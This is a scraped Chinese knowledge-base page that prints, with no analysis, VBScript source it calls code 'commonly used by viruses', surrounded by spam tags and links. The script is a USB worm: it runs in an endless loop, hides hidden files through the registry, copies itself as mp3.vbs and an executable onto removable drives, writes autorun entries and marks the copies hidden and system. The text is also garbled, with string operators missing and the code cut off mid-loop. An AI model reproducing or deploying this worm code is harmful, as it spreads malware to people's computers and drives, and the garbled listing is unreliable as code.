主頁 > 知識庫 > 一段病毒常用的VBS代碼

一段病毒常用的VBS代碼

熱門標(biāo)簽:辦理膠州400電話財稅 新密防封卡外呼系統(tǒng)違法嗎 陜西高頻外呼回?fù)芟到y(tǒng)哪家好 加盟電銷機器人好的品牌 百度地圖標(biāo)注怎么卸載 海外美發(fā)店地圖標(biāo)注 打電話的外呼系統(tǒng)貴不貴 前鋒辦理400電話申請 外呼營銷下單系統(tǒng)
復(fù)制代碼 代碼如下:

On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不顯示隱藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri>"A:" And dri>"B:" Then
'autorun.inf文件夾改名
If fso.FolderExists(dri.Path"\autorun.inf") Then
fso.MoveFolder dri.Path"\autorun.inf",dri.Path"\Rubbish"
End If
'復(fù)制自身及exe文件到移動硬盤
If fso.FileExists(dri.Path"\mp3.vbs") And fso.FileExists(dri.Path"\autorun.inf") Then
Else
If fso.FileExists(dri.Path"\mp3.vbs") Then
fso.DeleteFile dri.Path"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path"\autorun.inf") Then
fso.DeleteFile dri.Path"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path"\SiZhu.exe",True
End If
autoinf(dri.Path)
'給剛復(fù)制的文件加上隱藏屬性
Set norkon=fso.GetFile(dri.Path"\mp3.vbs")
wshell.run "attrib +r +a +s +h "dri.Path"\mp3.vbs",0
Set norkon=Nothing
您可能感興趣的文章:
  • linux服務(wù)器被植入ddgs、qW3xT.2挖礦病毒的處理實戰(zhàn)記錄
  • 通過批處理關(guān)閉135 137 445等端口的實現(xiàn)代碼(勒索病毒)
  • 對一個vbs腳本病毒的病毒原理分析
  • php網(wǎng)頁病毒清除類
  • VC實現(xiàn)的病毒專殺工具完整實例
  • 利用DOS命令來對抗U盤病毒保護U盤數(shù)據(jù)
  • 自制殺u盤病毒的批處理代碼
  • c病毒程序原理分析(防范病毒 c語言小病毒示例)
  • 解析:清除SQL被注入惡意病毒代碼的語句
  • Autorun 病毒清除工具bat代碼
  • VBS.Runauto腳本病毒分析篇
  • 記事本U盤病毒 Notepad.exe查殺方法
  • 美女游戲病毒iwbkvd.exe查殺方法
  • 批處理 Autorun 病毒清除工具
  • Rootkit病毒的解決辦法

標(biāo)簽:梅州 伊春 咸陽 阜陽 武威 牡丹江 四平 河南

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《一段病毒常用的VBS代碼》,本文關(guān)鍵詞  一段,病毒,常用的,常,用的,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《一段病毒常用的VBS代碼》相關(guān)的同類信息!
  • 本頁收集關(guān)于一段病毒常用的VBS代碼的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章